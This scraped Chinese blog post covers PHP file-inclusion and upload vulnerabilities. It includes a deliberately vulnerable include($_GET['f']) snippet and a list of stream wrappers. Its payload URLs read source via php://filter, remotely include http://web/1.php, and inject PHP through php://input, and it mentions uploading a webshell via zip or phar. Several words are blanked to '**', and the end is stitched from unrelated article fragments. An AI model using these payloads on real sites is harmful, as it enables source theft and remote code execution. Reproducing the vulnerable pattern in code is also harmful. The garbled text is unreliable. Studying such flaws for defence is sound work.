php檔案包含 偽協議 檔案上傳漏洞相關說明

2022-05-05 20:21:12 字數 1268 閱讀 9174

2.任意檔案包含

$f = $_get['f'];  

include_once('sys/config.php');

include($f);

利用zip或phar偽協議讀取壓縮包中的檔案

上傳webshell完成

擴充套件:php偽協議:

file://

— 訪問本地檔案系統

— 訪問 http(s) **

ftp://

— 訪問 ftp(s) urls

php://

— 訪問各個輸入/輸出流(i/o streams)

zlib://

— 壓縮流

data://

— 資料(rfc 2397)

glob://

— 查詢匹配的檔案路徑模式

phar://

— php 歸檔

ssh2://

— secure shell 2

rar://

— rar

ogg://

— 音訊流

expect://

— 處理互動式的流

讀取頁面源**

/about.php?f=php://filter/convert.base64-encode/resource=index.php

以base64加密的形式讀取頁面源**,然後在再對**進行base64解密就可以得到源**

當php配置allow_url_include和allow_url_fopen都為on的時候,可以對檔案進行遠端包含

例如:about.php?f=http://web/1.php

當allow_url_include為on,而allow_url_fopen為off的是否,不可以直接遠端包含檔案,但是可以使用php://input、 php://stdin、 php://memory 和 php://temp等偽協議

例如about.php?f=php://input  post傳輸資料<?php phpinfo(); ?>

php檔案包含 偽協議 檔案上傳漏洞利用例項

1.上傳檔案過濾了字尾名和mime型別,files pic type 是由瀏覽器傳輸的檔案型別決定,但是mime content type 是由php 內建方法判斷檔案型別 2.任意檔案包含 f get f include once sys config.php include f 利用zip或ph...

檔案包含與偽協議

說明 include 函式對檔案字尾名無要求,而對其中的語法有要求,即使字尾名為txt,jpg也會被當做php檔案解析,只要檔案內是形式就可以執行,但是如果不是php語法的形式,即使字尾為php,也無法執行。用於訪問本地檔案系統的檔案條件 allow url fopen off on allow u...

檔案包含與PHP偽協議實戰演練

1 include require 當使用include 函式包含檔案時,只有 執行到 include 函式時才將檔案包含進來,發生錯誤時只給出乙個警告,繼續向下執行。當使用require 函式包含檔案時,只要程式一執行就會立即呼叫檔案,發生錯誤的時候會輸出錯誤資訊,並且終止指令碼的執行 2 inc...